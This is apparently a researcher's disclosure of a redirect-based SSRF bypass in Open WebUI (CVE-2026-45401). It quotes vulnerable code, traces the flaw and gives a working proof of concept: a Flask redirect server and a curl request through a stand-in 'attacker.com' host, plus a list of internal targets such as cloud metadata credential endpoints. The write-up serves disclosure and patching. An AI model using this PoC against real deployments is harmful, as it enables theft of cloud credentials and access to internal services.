Open WebUI SSRF - Redirect-Based Validation Bypass (CVE-2026-45401)
SSRF in Open WebUI's web fetch: validate_url checks the original hostname but the loader follows redirects, letting any authenticated user reach internal hosts (IMDS, localhost, VPC).

Summary
During my latest penetration test for a client, I discovered that Open WebUI’s validate_url() resolves the hostname of a submitted URL at validation time (via resolve_hostname() → socket.getaddrinfo()) and rejects any URL that resolves to a non-global IP address. However, neither the probe request nor the loader that subsequently fetches the content is configured with allow_redirects=False.
An attacker who controls a public server that returns an HTTP 301/302 redirect to any internal address (169.254.169.254, 127.0.0.1, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16) bypasses the check: validation passes because the original hostname resolves to a legitimate public IP, but the actual HTTP request follows the redirect and hits the internal target. The full response body is returned to the attacker.
The source-code comment at web/utils.py:91 explicitly acknowledges DNS rebinding but not the redirection vector — which is simpler to exploit, simpler to mitigate, and requires no TTL manipulation (DNS rebinding is often unstable or fails outright).
Unfortunately, this was another duplicate for me — someone had submitted it before I did. Per the Open WebUI team’s response:

Vulnerability Info
| Severity | High |
| CVSSv3.1 | 8.5 — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| CVE | CVE-2026-45401 |
| Credit | Hesham Mahmoud Aka 0xRyuzak1 (Unfortunately Duplicated) |
| Component | validate_url, get_content_from_url, get_web_loader |
| Affected Version | <= 0.9.4 |
| Auth Required | Yes — any authenticated user (role user or admin) |
| Class | CWE-918: Server-Side Request Forgery |
Root Cause
Validation — validate_url (web/utils.py:67-100)
def validate_url(url: Union[str, Sequence[str]]):
if isinstance(url, str):
if isinstance(validators.url(url), validators.ValidationError):
raise ValueError(ERROR_MESSAGES.INVALID_URL)
parsed_url = urllib.parse.urlparse(url)
# Protocol validation - only allow http/https
if parsed_url.scheme not in ['http', 'https']:
log.warning(f'Blocked non-HTTP(S) protocol: {parsed_url.scheme} in URL: {url}')
raise ValueError(ERROR_MESSAGES.INVALID_URL)
# Blocklist check using unified filtering logic
if WEB_FETCH_FILTER_LIST:
if not is_string_allowed(url, WEB_FETCH_FILTER_LIST):
log.warning(f'URL blocked by filter list: {url}')
raise ValueError(ERROR_MESSAGES.INVALID_URL)
if not ENABLE_RAG_LOCAL_WEB_FETCH:
# Local web fetch is disabled, filter out any URLs that resolve to private IP addresses
parsed_url = urllib.parse.urlparse(url)
# Get IPv4 and IPv6 addresses
ipv4_addresses, ipv6_addresses = resolve_hostname(parsed_url.hostname)
# Check if any of the resolved addresses are private
# This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader
for ip in ipv4_addresses + ipv6_addresses:
addr = ipaddress.ip_address(ip)
if not addr.is_global: # <--- Check for the Global/Public IP here
raise ValueError(ERROR_MESSAGES.INVALID_URL)
return True
elif isinstance(url, Sequence):
return all(validate_url(u) for u in url)
else:
return False
The IP check is performed once against the original URL hostname. Redirects are never validated.
Probe Request (retrieval/utils.py:184)
response = requests.get(url, stream=True, timeout=30)
requests follows redirects by default (allow_redirects=True). The probe reads Content-Type from the final redirect destination, which may be an internal host.
Loader Request (web/utils.py:502-506)
SafeWebBaseLoader defines _fetch() with allow_redirects=False:
async with session.get(
url,
**(self.requests_kwargs | kwargs),
allow_redirects=False, # ← loader does NOT follow redirects
) as response:
However, loader.load() in retrieval/utils.py calls lazy_load() → _scrape(), not _fetch():
# Text / HTML / unknown — use the configured web loader
if response is None or _is_text_content_type(content_type):
if response is not None:
response.close()
loader = get_loader(request, url)
docs = loader.load()
content = ' '.join([doc.page_content for doc in docs])
return content, docs
# langchain WebBaseLoader._scrape() — the actual code path used
def _scrape(self, url, ...):
html_doc = self.session.get(url, **self.requests_kwargs) # ← requests.Session, follows redirects
return BeautifulSoup(html_doc.text, parser)
self.session is a requests.Session with no redirect restriction. The _fetch() override with allow_redirects=False is dead code for the sync load() path — it is only reachable via async methods that are never invoked in this flow.
Full Picture Flow
validate_url("http://attacker.com/redirect") → PASS (public IP)
↓
requests.get(probe) → 301 → internal host → reads Content-Type
↓
if text/html/json:
loader.load()
→ lazy_load()
→ _scrape()
→ requests.Session.get("http://attacker.com/redirect")
→ follows 301 → internal host → reads full body
→ BeautifulSoup parses text
→ returned to attacker ← ALL CONTENT TYPES EXFILTRATED
if binary:
response.content → full body from probe connection
→ temp file → document extractor
→ returned to attacker ← ALL CONTENT TYPES EXFILTRATED
Affected Endpoints
All endpoints that call get_content_from_url, get_web_loader, and validate_url are affected:
| Endpoint | Method | Auth | Content Returned to Attacker |
|---|---|---|---|
| /api/v1/retrieval/process/web | POST | User | Full response body (text) in JSON response |
| /api/v1/retrieval/process/youtube | POST | User | Full response body (text) in JSON response |
/api/chat/completions (files:[{type:"url"}]) |
POST | User | Response injected into LLM context, model replies with content |
| /api/v1/chat/completions | POST | User | Response injected into LLM context, model replies with content |
Builtin fetch_url tool (chat) |
chat | User | Returned as tool result in chat reply |
Exploit Scenario
Setup — attacker-controlled redirect server on a public IP
from flask import Flask, make_response, request
app = Flask(__name__)
@app.route('/home')
def home():
location = request.args.get('location', '') # e.g. /home?location=http://google.com
body = f"Redirecting you to: {location}"
response = make_response(body, 302)
response.headers['Location'] = location
return response
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=True)
PoC — process/web endpoint
curl -s -X POST https://TARGET/api/v1/retrieval/process/web \
-H "Authorization: Bearer USER_JWT" \
-H "Content-Type: application/json" \
-d '{
"url": "http://attacker.com/redirect?location=http://127.0.0.1:8080/api/version"
}'
The full text response from the internal host is returned inside file.data.content.

Internal Potential Targets
| Target | Protocol |
|---|---|
AWS IMDSv1 169.254.169.254/latest/meta-data/ |
HTTP |
| AWS IMDSv1 IAM credentials | HTTP |
Kubernetes API 10.96.0.1:443 |
HTTPS |
Ollama localhost:11434/api/tags |
HTTP |
Qdrant localhost:6333/collections |
HTTP |
| Internal microservices on VPC subnet | HTTP |
GCP IMDS metadata.google.internal |
HTTP |
| Azure IMDS | HTTP |
Impact
- Full content exfiltration for all content types — both text (HTML, JSON, plain) and binary responses from internal hosts are returned to the attacker.
- May lead to RCE in some cases — e.g. when the SSRF reaches an exploitable internal HTTP service (unauthenticated admin APIs, misconfigured management endpoints). Note the redirect
Locationis still constrained tohttp/httpsbyvalidate_url, so classicgopher://protocol smuggling does not apply here. - Cloud environment compromise — IMDSv1 IAM credentials (
AccessKeyId,SecretAccessKey,Token) readable without any header. - Internal service enumeration and data theft — any internal HTTP service is reachable and its response body returned.
- Open WebUI internal API access — attacker can read internal endpoints including user data, configuration, and session information.
- Lateral movement — Ollama, Qdrant, etcd, and other co-located services are fully readable.
- Container escape surface — Docker host IP (
172.17.0.1) internal services reachable. - DoS — internal requests can be abused to DoS Open WebUI itself or other systems.
Mitigation
Upgrade Open WebUI to version 0.9.5 or above.